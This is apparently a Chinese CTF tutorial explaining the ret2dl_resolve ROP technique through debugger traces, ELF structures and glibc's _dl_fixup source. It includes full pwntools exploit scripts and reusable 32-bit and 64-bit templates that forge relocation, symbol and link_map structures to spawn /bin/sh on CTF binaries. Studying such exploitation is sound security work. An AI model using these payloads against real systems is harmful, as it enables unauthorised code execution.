ret2dl_resolve是一种比较复杂的高级ROP技巧,利用它之前需要先了解动态链接的基本过程以及ELF文件中动态链接相关的结构。

我根据raycp师傅的文章,动手调试了一下: https://ray-cp.github.io/archivers/ret2dl_resolve_analysis#64%E4%BD%8Delf%E7%A8%8B%E5%BA%8F%E7%9A%84ret2dl_resolve

理解过程用到了如下程序

1 #include <stdio.h>
2 // gcc -m32 -fno-stack-protector -no-pie -z relro -o demo.c -o demo
3 int main()
4 {
5 char data[20];
6 read(0,data,20);
7 return 0;
8 }

程序运行到call    read@plt单步进入

1  ► 0x80491c3 <main+45>    call   read@plt                     <read@plt>
2 fd: 0x0 (/dev/pts/0)
3 buf: 0xffffd18c —▸ 0x8049233 (__libc_csu_init+83) ◂— add esi, 1
4 nbytes: 0x14

查看read的plt表的内容

1 pwndbg> x/5i 0x8049060
2 => 0x8049060 <read@plt>: endbr32
3 0x8049064 <read@plt+4>: jmp DWORD PTR ds:0x804c00c
4 0x804906a <read@plt+10>: nop WORD PTR [eax+eax*1+0x0]
5 0x8049070 <__libc_start_main@plt>: endbr32
6 0x8049074 <__libc_start_main@plt+4>: jmp DWORD PTR ds:0x804c010

可以看到程序跳进了0x804c00c所存储的地址里

1 pwndbg> x/xw 0x804c00c
2   0x804c00c <read@got.plt>: 0x08049040

而0x804c00c正是read的got表,表里存放的地址是0x8049040在read的plt表的上面几个,我们看一下

1 pwndbg> x/3i 0x8049040
2 0x8049040: endbr32
3 0x8049044: push 0x0
4 0x8049049: jmp 0x8049030

这里的代码会先将0压入栈里,再跳转到0x8049030的位置执行,我们看一下

1  0x8049030                  push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804c004>
2 ► 0x8049036 jmp dword ptr [0x804c008] <0xf7fe7b10>

发现他将0x804c004存储的值先压入栈中,再跳转到0x804c008所存储的地址即 0xf7fe7b10 执行

1 pwndbg> x/7i 0xf7fe7b10
2 0xf7fe7b10: endbr32
3 0xf7fe7b14: push eax
4 0xf7fe7b15: push ecx
5 0xf7fe7b16: push edx
6 0xf7fe7b17: mov edx,DWORD PTR [esp+0x10]
7 0xf7fe7b1b: mov eax,DWORD PTR [esp+0xc]
8 0xf7fe7b1f: call 0xf7fe17d0

0xf7fe7b10这个地址应该是_dl_runtime_resolve函数的地址,但不知道为什么我的pwngbd不会显示

raycp师傅显示出来是这样的

1 0xf7feed90 <_dl_runtime_resolve>       push   eax
2 0xf7feed91 <_dl_runtime_resolve+1> push ecx
3 0xf7feed92 <_dl_runtime_resolve+2> push edx
4 0xf7feed93 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10]
5 0xf7feed97 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc]
6 0xf7feed9b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe85a0>

发现在进行了一系列的操作后,会进入0xf7fe17d0即_dl_fixup函数。

在跟进_dl_fixup前,raycp师傅讲述了动态链接相关的数据结构。

我们先查看一下demo的dynamic的信息:

 1 $ readelf -d demo
2
3 Dynamic section at offset 0x2f14 contains 24 entries:
4 标记 类型 名称/值
5 0x00000001 (NEEDED) 共享库:[libc.so.6]
6 0x0000000c (INIT) 0x8049000
7 0x0000000d (FINI) 0x804925c
8 0x00000019 (INIT_ARRAY) 0x804bf0c
9 0x0000001b (INIT_ARRAYSZ) 4 (bytes)
10 0x0000001a (FINI_ARRAY) 0x804bf10
11 0x0000001c (FINI_ARRAYSZ) 4 (bytes)
12 0x6ffffef5 (GNU_HASH) 0x8048228
13 0x00000005 (STRTAB) 0x8048298
14 0x00000006 (SYMTAB) 0x8048248
15 0x0000000a (STRSZ) 74 (bytes)
16 0x0000000b (SYMENT) 16 (bytes)
17 0x00000015 (DEBUG) 0x0
18 0x00000003 (PLTGOT) 0x804c000
19 0x00000002 (PLTRELSZ) 16 (bytes)
20 0x00000014 (PLTREL) REL
21 0x00000017 (JMPREL) 0x8048314
22 0x00000011 (REL) 0x804830c
23 0x00000012 (RELSZ) 8 (bytes)
24 0x00000013 (RELENT) 8 (bytes)
25 0x6ffffffe (VERNEED) 0x80482ec
26 0x6fffffff (VERNEEDNUM) 1
27 0x6ffffff0 (VERSYM) 0x80482e2
28 0x00000000 (NULL) 0x0

Elf32_Dyn是一个结构体数组,结构体的定义为:

1 typedef struct {
2 Elf32_Sword d_tag;
3 union {
4 Elf32_Word d_val;
5 Elf32_Addr d_ptr;
6 } d_un;
7 } Elf32_Dyn;
8 extern Elf32_Dyn_DYNAMIC[];

Elf32_Dyn结构由一个类型值加上一个附加的数值或指针,对于不同的类型,后面附加的数值或者指针有着不同的含义。下面给出和延迟绑定相关的类型值的定义。

(我直接从raycp师傅的文章里剪了过来)

由dynamic信息可知.rel.plt的地址为 0x8048314,.dynsym的地址为 0x8048248, .dynstr的地址为 0x8048298。

.rel.plt重定位表中包含了需要重定位函数的信息,也是一个结构体数组,结构体Elf32_Rel定义如下:

1 typedef struct {
2 Elf32_Addr r_offset;
3 Elf32_Word r_info;
4 } Elf32_Rel;

其中r_offset表示got表的地址,即真实函数地址所需填进的地方,r_info有两个作用,r_info>>8表示该函数对应在符号表.dynsym中的下标,r_info&0xff则表示重定位的类型。

我们查看此程序的重定位表

 1 $ readelf -r demo
2
3 重定位节 '.rel.dyn' at offset 0x30c contains 1 entry:
4 偏移量 信息 类型 符号值 符号名称
5 0804bffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
6
7 重定位节 '.rel.plt' at offset 0x314 contains 2 entries:
8 偏移量 信息 类型 符号值 符号名称
9 0804c00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
10 0804c010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
1 pwndbg> x/8xw 0x8048314
2 0x8048314: 0x0804c00c 0x00000107 0x0804c010 0x00000307
3 0x8048324: 0x00000000 0x00000000 0x00000000 0x00000000

可以看到重定位表.rel.plt为一个Elf32_Rel数组,demo程序中该数组包含两个元素,第一个是read的重定位表项Elf32_Rel结构体,第二个是__libc_start_main

read的重定位表r_offset0x0804c00c,为read的got地址,即在动态解析函数完成后,将read的函数地址填入到r_offset0x0804c00c中。

r_info0x00000107表示read函数的符号表为.dynsym数组中的0x00000107>>8(即0x1)个元素,它的类型为0x00000107&0xff(即0x7)对应为R_386_JUMP_SLOT类型。

下面看动态链接符号表.dynsym

1 $ readelf -s demo
2
3 Symbol table '.dynsym' contains 5 entries:
4 Num: Value Size Type Bind Vis Ndx Name
5 0: 00000000 0 NOTYPE LOCAL DEFAULT UND
6 1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
7 2: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
8 3: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
9 4: 0804a004 4 OBJECT GLOBAL DEFAULT 17 _IO_stdin_used
1 pwndbg> x/20xw 0x8048248
2 0x8048248: 0x00000000 0x00000000 0x00000000 0x00000000
3 0x8048258: 0x0000001a 0x00000000 0x00000000 0x00000012
4 0x8048268: 0x0000003b 0x00000000 0x00000000 0x00000020
5 0x8048278: 0x0000001f 0x00000000 0x00000000 0x00000012
6 0x8048288: 0x0000000b 0x0804a004 0x00000004 0x00110011

从重定位表.rel.plt中,我们知道了read的r_info>>8为0x1,即read的符号表项对应的是.dynsym第二个元素,果然可以看到.dynsym第一个元素为read函数的Elf32_Sym结构体。

可以看到它的st_name对应的是0x0000001a,即read字符串应该在.dynstr表偏移为0x1a的地方.

dynamic我们知道了.dynstr表的地址为地址为0x8048298,去验证下看其偏移0x1a是否为read字符串:

1 pwndbg> x/s 0x8048298+0x1a
2 0x80482b2: "read"

上面就是我按照raycp师傅的文章梳理的内容。

下面我自己总结一下调用某个函数的过程如read:

1.第一次call read时会先跳转到read got表里存的地址,got表此时存放的事plt+6的地址,他会push一个参数(reloc_arg),然后跳转到公共表(plt0),公共表处会再push一个参数进去(link_map通过这个找dynamic段),然后就跳到 _dl_runtime_resolve函数。

2._dl_runtime_resolve函数靠link_map先找到dynamic,再通过dynamic段找到 .rel.plt的地址为 0x8048314,.dynsym的地址为 0x8048248, .dynstr的地址为 0x8048298。

3._dl_runtime_resolve函数靠reloc_arg在.rel.plt里找到read的r_offset和r_info。

4.r_info>>8用来在 .dynsym找到read对应的st_name ,r_info&0xff用来做检查。

5.st_name用来在.dynstr里找到read所对应的字符串

6.最后调用函数解析匹配read字符串所对应的函数地址,并将其填到r_offset(read的got表)里。

下面给上怎么由link_map->dynamic->.rel.plt, .dynsym, .dynstr的。

 1 pwndbg> x/xw 0x804c004
2 0x804c004: 0xf7ffd990
3 pwndbg> x/4xw 0xf7ffd990
4 0xf7ffd990: 0x00000000 0xf7ffdc84 0x0804bf14 0xf7ffdc90
5 pwndbg> x/40xw 0x0804bf14
6 0x804bf14: 0x00000001 0x00000001 0x0000000c 0x08049000
7 0x804bf24: 0x0000000d 0x0804925c 0x00000019 0x0804bf0c
8 0x804bf34: 0x0000001b 0x00000004 0x0000001a 0x0804bf10
9 0x804bf44: 0x0000001c 0x00000004 0x6ffffef5 0x08048228
10 0x804bf54: 0x00000005 0x08048298 0x00000006 0x08048248
11 0x804bf64: 0x0000000a 0x0000004a 0x0000000b 0x00000010
12 0x804bf74: 0x00000015 0xf7ffd970 0x00000003 0x0804c000
13 0x804bf84: 0x00000002 0x00000010 0x00000014 0x00000011
14 0x804bf94: 0x00000017 0x08048314 0x00000011 0x0804830c
15 0x804bfa4: 0x00000012 0x00000008 0x00000013 0x00000008

下面给出一个32位例题:

0CTF 2018 BabyStack

1     Arch:     i386-32-little
2 RELRO: Partial RELRO
3 Stack: No canary found
4 NX: NX enabled
5 PIE: No PIE (0x8048000)
 1 int __cdecl main()
2 {
3 alarm(0xAu);
4 sub_804843B();
5 return 0;
6 }
7
8 ssize_t sub_804843B()
9 {
10 char buf[40]; // [esp+0h] [ebp-28h] BYREF
11
12 return read(0, buf, 0x40u);
13 }

有明显的溢出,但无法泄露libc,想到用ret2dl_runtime_resolve,又因为读入有限想到用栈劫持

下面附上exp:

 1 from pwn import *
2 context.arch='i386'
3
4 s=process('./babystack')
5
6 read_plt=0x8048300
7 read_got=0x804A00C
8 bss_addr=0x804A020
9 vul=0x804843B
10 pop_esi_edi_ebp_ret=0x080484e9
11 pop_ebp_ret=0x080484eb
12 leave_ret=0x080483a8
13 base_stage=bss_addr+0x400
14
15 payload=b'a'*44+p32(read_plt)+p32(vul)+p32(0)+p32(base_stage)+p32(200)
16
17 plt_0=0x80482F0
18 rel_plt=0x80482b0
19 dynsym=0x80481cc
20 dynstr=0x804822c
21 index_offset=(base_stage+28)-rel_plt
22
23
24 fake_sym_addr=base_stage+32
25 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
26 fake_sym_addr = fake_sym_addr + align
27 index_dynsym = (fake_sym_addr - dynsym) // 0x10
28 #success(hex(index_dynsym))
29 r_info = (index_dynsym << 8)|0x7
30 fake_rel_plt = p32(read_got) + p32(r_info)
31 st_name = (fake_sym_addr + 16) - dynstr
32 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
33
34 payload = b'AAAA'
35 payload += p32(plt_0)
36 payload += p32(index_offset)
37 payload += p32(0)
38 payload += p32(base_stage + 100)
39 payload += b'a' * 8 #28
40 payload += fake_rel_plt
41 payload += align * b"B"
42 payload += fake_sym
43 payload += b"system"
44 payload += b"\x00" * (100 - len(payload))
45 payload += b'/bin/sh\x00'
46 payload += b"A"*(200 - len(payload))
47 s.send(payload)
48
49
50 payload = b'A' * 44
51 payload += p32(0x080484eb)
52 payload += p32(base_stage)
53 payload += p32(0x080483a8)
54 s.send(payload)
55
56 s.interactive()

64位的ret2_dl_runtime_resolve与32位的又有不同之处。

下面首先给上_dl_fixup的源码:

 1 _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
2 {
3
4 //获取符号表地址
5 const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
6 //获取字符串表地址
7 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
8 //获取函数对应的重定位表结构地址
9 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
10 //获取函数对应的符号表结构地址
11 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
12 //得到函数对应的got地址,即真实函数地址要填回的地址
13 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
14
15 DL_FIXUP_VALUE_TYPE value;
16
17 //判断重定位表的类型,必须要为7--ELF_MACHINE_JMP_SLOT
18 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
19
20 /* Look up the target symbol. If the normal lookup rules are not
21 used don't look in the global scope. */
22 //需要绕过
23 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
24 {
25 const struct r_found_version *version = NULL;
26
27 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
28 {
29 const ElfW(Half) *vernum =
30 (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
31 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
32 version = &l->l_versions[ndx];
33 if (version->hash == 0)
34 version = NULL;
35 }
36
37 ...
38
39 // 接着通过strtab+sym->st_name找到符号表字符串
40 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
41 version, ELF_RTYPE_CLASS_PLT, flags, NULL);
42
43 ...
44 // value为libc基址加上要解析函数的偏移地址,也即实际地址
45 value = DL_FIXUP_MAKE_VALUE (result,
46 sym ? (LOOKUP_VALUE_ADDRESS (result)
47 + sym->st_value) : 0);
48 }
49 else
50 {
51 /* We already found the symbol. The module (and therefore its load
52 address) is also known. */
53 value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
54 result = l;
55 }
56
57 ...
58
59 // 最后把value写入相应的GOT表条目rel_addr中
60 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
61 }

如果按照32位的方法改reloc_arg的话,理论上可行,但在执行时会发生错误,这是为什么呢?

注意下面代码:

23   if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
24 {
25 const struct r_found_version *version = NULL;
26
27 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
28 {
29 const ElfW(Half) *vernum =
30 (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
31 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
32 version = &l->l_versions[ndx];
33 if (version->hash == 0)
34 version = NULL;
35 }

64位构造的数据离dynamic距离较远,reloc->r_info也会较大,会使得vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff时 出现错误

那还有什么其他办法呢?那就是选择构造link_map而不是reloc_arg。

我们尝试通过使sym->st_other != NULL来绕过这个 if 语句,从而执行

1 49   else
2 50 {
3 51 /* We already found the symbol. The module (and therefore its load
4 52 address) is also known. */
5 53 value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
6 54 result = l;
7 55 }

我们来看 DL_FIXUP_MAKE_VALUE 这个源码,他会把这个函数判定为已解析过的函数,然后把 l->l_addr + sym->st_value 赋值给 value 。

那此时我们可以选择把 sym->st_value 伪造为某个已解析函数的got表地址,如read.got ,再把 l->-_addr 改为 目标地址如 system 到 read 的偏移。那么我们的 value 最后就是 system地址。

下面我们看一下各个结构体:

 1 type = struct link_map {
2 Elf64_Addr l_addr;
3 char *l_name;
4 Elf64_Dyn *l_ld;
5 struct link_map *l_next;
6 struct link_map *l_prev;
7 struct link_map *l_real;
8 Lmid_t l_ns;
9 struct libname_list *l_libname;
10 Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息
11 ...
12 size_t l_tls_firstbyte_offset;
13 ptrdiff_t l_tls_offset;
14 size_t l_tls_modid;
15 size_t l_tls_dtor_count;
16 Elf64_Addr l_relro_addr;
17 size_t l_relro_size;
18 unsigned long long l_serial;
19 struct auditstate l_audit[];
20 } *
21
22 pwndbg> ptype Elf64_Dyn
23 type = struct {
24 Elf64_Sxword d_tag;
25 union {
26 Elf64_Xword d_val;
27 Elf64_Addr d_ptr;
28 } d_un;
29 }
30
31 pwndbg> ptype Elf64_Sym
32 type = struct {
33 Elf64_Word st_name;
34 unsigned char st_info;
35 unsigned char st_other;
36 Elf64_Section st_shndx;
37 Elf64_Addr st_value;
38 Elf64_Xword st_size;
39 }
40
41 pwndbg> ptype Elf64_Rela
42 type = struct {
43 Elf64_Addr r_offset;
44 Elf64_Xword r_info;
45 Elf64_Sxword r_addend;
46 }

除了要伪造一些结构体,我们还需要伪造他们的指针。

pwndbg> x/gx 0x404008
0x404008: 0x00007ffff7ffe190
pwndbg> x/20gx 0x00007ffff7ffe190+0x60
0x7ffff7ffe1f0: 0x0000000000000000 0x0000000000403ea0
0x7ffff7ffe200: 0x0000000000403eb0 0x0000000000403f30
0x7ffff7ffe210: 0x0000000000403f40 0x0000000000403f50
0x7ffff7ffe220: 0x0000000000403ec0 0x0000000000403ed0
0x7ffff7ffe230: 0x0000000000403e30 0x0000000000403e40
0x7ffff7ffe240: 0x0000000000000000 0x0000000000000000
0x7ffff7ffe250: 0x0000000000000000 0x0000000000000000
0x7ffff7ffe260: 0x0000000000000000 0x0000000000000000
0x7ffff7ffe270: 0x0000000000403f10 0x0000000000403ee0
0x7ffff7ffe280: 0x0000000000000000 0x0000000000403f20
LOAD:0000000000403E20 _DYNAMIC        Elf64_Dyn <1, 1>        ; DATA XREF: LOAD:00000000004001A0↑o
LOAD:0000000000403E20 ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:0000000000403E20 ; DT_NEEDED libc.so.6
LOAD:0000000000403E30 Elf64_Dyn <0Ch, 401000h> ; DT_INIT
LOAD:0000000000403E40 Elf64_Dyn <0Dh, 401238h> ; DT_FINI
LOAD:0000000000403E50 Elf64_Dyn <19h, 403E10h> ; DT_INIT_ARRAY
LOAD:0000000000403E60 Elf64_Dyn <1Bh, 8> ; DT_INIT_ARRAYSZ
LOAD:0000000000403E70 Elf64_Dyn <1Ah, 403E18h> ; DT_FINI_ARRAY
LOAD:0000000000403E80 Elf64_Dyn <1Ch, 8> ; DT_FINI_ARRAYSZ
LOAD:0000000000403E90 Elf64_Dyn <6FFFFEF5h, 4003A0h> ; DT_GNU_HASH
LOAD:0000000000403EA0 Elf64_Dyn <5, 400450h> ; DT_STRTAB
LOAD:0000000000403EB0 Elf64_Dyn <6, 4003C0h> ; DT_SYMTAB
LOAD:0000000000403EC0 Elf64_Dyn <0Ah, 48h> ; DT_STRSZ
LOAD:0000000000403ED0 Elf64_Dyn <0Bh, 18h> ; DT_SYMENT
LOAD:0000000000403EE0 Elf64_Dyn <15h, 0> ; DT_DEBUG
LOAD:0000000000403EF0 Elf64_Dyn <3, 404000h> ; DT_PLTGOT
LOAD:0000000000403F00 Elf64_Dyn <2, 48h> ; DT_PLTRELSZ
LOAD:0000000000403F10 Elf64_Dyn <14h, 7> ; DT_PLTREL
LOAD:0000000000403F20 Elf64_Dyn <17h, 4004F8h> ; DT_JMPREL
LOAD:0000000000403F30 Elf64_Dyn <7, 4004C8h> ; DT_RELA
LOAD:0000000000403F40 Elf64_Dyn <8, 30h> ; DT_RELASZ
LOAD:0000000000403F50 Elf64_Dyn <9, 18h> ; DT_RELAENT
LOAD:0000000000403F60 Elf64_Dyn <6FFFFFFEh, 4004A8h> ; DT_VERNEED
LOAD:0000000000403F70 Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM
LOAD:0000000000403F80 Elf64_Dyn <6FFFFFF0h, 400498h> ; DT_VERSYM
LOAD:0000000000403F90 Elf64_Dyn <0> ; DT_NULL

通过上图,我们可以很清晰地看见在 link_map+0x68 , 0x70 ,0xf8的位置分别存放的是 DT_STRTAB ,DT_SYMTAB , DT_JMPREL指针。

因为需要控制symtab和reloc->r_info,因此我们还要伪造位于link_map+0x70的DT_SYMTAB指针、link_map+0xf8的DT_JMPREL指针,另外strtab必须是个可读的地址,因此我们还需要伪造位于link_map+0x68的DT_STRTAB指针。之后就是伪造.dynamic中的DT_SYMTAB结构体和DT_JMPREL结构体以及函数所对应的Elf64_Rela结构体。为了方便,我在构造的过程中一般将reloc_arg作为0来进行构造。

总的来说要满足以下几个条件:
1.link_map中的DT_STRTAB、DT_SYMTAB、DT_JMPREL可读
2.DT_SYMTAB结构体中的d_ptr即sym,(*(sym+5))&0x03 != 0
3.(reloc->r_info)&0xff == 7
4.rel_addr = l->addr + reloc->r_offset即原先需要修改的got表地址有可写权限
5.l->l_addr + sym->st_value 为system的地址

64位给出的例题是winmt师傅提供的

 1 .text:0000000000401176 main            proc near               ; DATA XREF: _start+21↑o
2 .text:0000000000401176
3 .text:0000000000401176 buf = byte ptr -20h
4 .text:0000000000401176
5 .text:0000000000401176 ; __unwind {
6 .text:0000000000401176 endbr64
7 .text:000000000040117A push rbp
8 .text:000000000040117B mov rbp, rsp
9 .text:000000000040117E sub rsp, 20h
10 .text:0000000000401182 lea rdi, s ; "Please say something:"
11 .text:0000000000401189 call _puts
12 .text:000000000040118E lea rax, [rbp+buf]
13 .text:0000000000401192 mov edx, 200h ; nbytes
14 .text:0000000000401197 mov rsi, rax ; buf
15 .text:000000000040119A mov edi, 0 ; fd
16 .text:000000000040119F call _read
17 .text:00000000004011A4 mov edi, 1 ; fd
18 .text:00000000004011A9 call _close
19 .text:00000000004011AE mov edi, 2 ; fd
20 .text:00000000004011B3 call _close
21 .text:00000000004011B8 mov eax, 0
22 .text:00000000004011BD leave
23 .text:00000000004011BE retn
24 .text:00000000004011BE ; } // starts at 401176
25 .text:00000000004011BE main endp

一个读入,关闭了标准输入无法泄露地址,想到用ret2dl

 1 from pwn import *
2
3 s=process('./test')
4 elf=ELF('./test')
5 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
6
7 plt0 = elf.get_section_by_name('.plt').header.sh_addr
8 l_addr=libc.sym['system'] - libc.sym['read']
9 st_value=elf.got['read']
10
11 def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
12 #the address of each fake pointer
13 fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
14 fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
15 fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
16 #fake structure
17 fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
18 fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
19 # JMPREL point to the address of .rel.plt,which will be located in fake_link_map_addr+0x28
20 r_offset = fake_link_map_addr - l_addr
21 fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
22 #fake_link_map
23 fake_link_map =p64(l_addr&(2**64-1))# 0x8
24 fake_link_map+=fake_Elf64_Dyn_SYM # 0x18
25 fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
26 fake_link_map+=fake_Elf64_rela # 0x40
27 fake_link_map+=b"\x00"*0x28 # 0x68
28 fake_link_map+=fake_Elf64_Dyn_STR_addr # STRTAB pointer,0x70
29 fake_link_map+=fake_Elf64_Dyn_SYM_addr # SYMTAB pointer,0x78
30 fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
31 fake_link_map+=fake_Elf64_Dyn_JMPREL_addr # JMPREL pointer
32 return fake_link_map
33
34
35 pop_rdi_ret = 0x401223
36 pop_rsi_r15_ret = 0x401221
37 ret = 0x4011BE
38 fake_link_map_addr = 0x404050
39
40
41 fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
42
43 payload = b'\x00'*0x28 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(fake_link_map_addr) + p64(0) + p64(elf.plt['read'])
44 payload += p64(ret) + p64(pop_rdi_ret) + p64(fake_link_map_addr+0x78) + p64(plt0+6) + p64(fake_link_map_addr) + p64(0)
45 payload = payload.ljust(0x200, b'\x00')
46
47 s.sendafter("something:\n",payload)
48
49 s.send(fake_link_map)
50
51 s.interactive()

这里再放一下用csu加栈迁移的脚本(虽然用处不大)

 1 from pwn import *
2 context(os='linux', arch='amd64', log_level='debug')
3
4 s=process('./test')
5 elf=ELF('./test')
6 libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
7
8 def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
9 #the address of each fake pointer
10 fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
11 fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
12 fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
13 #fake structure
14 fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
15 fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
16 # JMPREL point to the address of .rel.plt,which will be located in fake_link_map_addr+0x28
17 r_offset = fake_link_map_addr - l_addr
18 fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
19 #fake_link_map
20 fake_link_map =p64(l_addr&(2**64-1))# 0x8
21 fake_link_map+=fake_Elf64_Dyn_SYM # 0x18
22 fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
23 fake_link_map+=fake_Elf64_rela # 0x40
24 fake_link_map+=b"\x00"*0x28 # 0x68
25 fake_link_map+=fake_Elf64_Dyn_STR_addr # STRTAB pointer,0x70
26 fake_link_map+=fake_Elf64_Dyn_SYM_addr # SYMTAB pointer,0x78
27 fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
28 fake_link_map+=fake_Elf64_Dyn_JMPREL_addr # JMPREL pointer
29 return fake_link_map
30
31 plt0 = elf.get_section_by_name('.plt').header.sh_addr
32 pop_rdi_ret = 0x401223
33 pop_rsi_r15_ret = 0x401221
34 ret = 0x40101A
35 l_addr=libc.sym['system'] - libc.sym['read']
36 st_value=elf.got['read']
37
38 main=0x401176
39 write_addr=0x404b00
40 fake_link_map_addr=write_addr+0x28
41 rbp=write_addr-0x8
42 leave_ret=0x4011bd
43
44 csu_6pop=0x40121A
45 csu_3mov=0x401200
46
47 fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
48
49 payload=b'\x00'*0x20+p64(0)
50 payload+=p64(csu_6pop)+p64(0)+p64(1)+p64(0)+p64(write_addr)+p64(len(fake_link_map)+0x28)+p64(elf.got['read'])
51 payload+=p64(csu_3mov)+p64(0)*7+p64(main)
52 success(hex(len(payload)))
53 payload=payload.ljust(0x200,b'\x00')
54 s.sendafter("something:\n",payload)
55
56 payload=p64(pop_rdi_ret)+p64(fake_link_map_addr+0x78)+p64(plt0+6)+p64(fake_link_map_addr)+p64(0)+fake_link_map
57 s.send(payload)
58
59 payload=b'\x00'*0x20+p64(rbp)
60 payload+=p64(ret)+p64(leave_ret)
61 s.send(payload)
62
63 s.interactive()

最后附上32位模板

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr index_offset=base_stage+20-rel_plt # .rel.plt fake_sym_addr=base_stage+28
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) // 0x10
r_info = (index_dynsym << 8)|0x7
fake_rel_plt = p32(read_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
fake_str= b"system" payload = b'AAAA' # 4
payload += p32(plt_0) # 8
payload += p32(index_offset) # 12
payload += b'aaaa' # 16
payload += p32(base_stage + 80) # 20 /bin/sh
payload += fake_rel_plt # 28
payload += align * b"B"
payload += fake_sym
payload += fake_str
payload += b"\x00" * (80 - len(payload))
payload += b'/bin/sh\x00'
payload += b"A"*(200 - len(payload))

64位模板:

 1 from pwn import *
2 context(os='linux', arch='amd64', log_level='debug')
3
4 s=process('./test')
5 elf=ELF('./test')
6 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
7
8 plt0 = elf.get_section_by_name('.plt').header.sh_addr
9 l_addr=libc.sym['system'] - libc.sym['read']
10 st_value=elf.got['read']
11
12 def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
13 #the address of each fake pointer
14 fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
15 fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
16 fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
17 #fake structure
18 fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
19 fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
20 # JMPREL point to the address of .rel.plt,which will be located in fake_link_map_addr+0x28
21 r_offset = fake_link_map_addr - l_addr
22 fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
23 #fake_link_map
24 fake_link_map =p64(l_addr&(2**64-1))# 0x8
25 fake_link_map+=fake_Elf64_Dyn_SYM # 0x18
26 fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
27 fake_link_map+=fake_Elf64_rela # 0x40
28 fake_link_map+=b"\x00"*0x28 # 0x68
29 fake_link_map+=fake_Elf64_Dyn_STR_addr # STRTAB pointer,0x70
30 fake_link_map+=fake_Elf64_Dyn_SYM_addr # SYMTAB pointer,0x78
31 fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
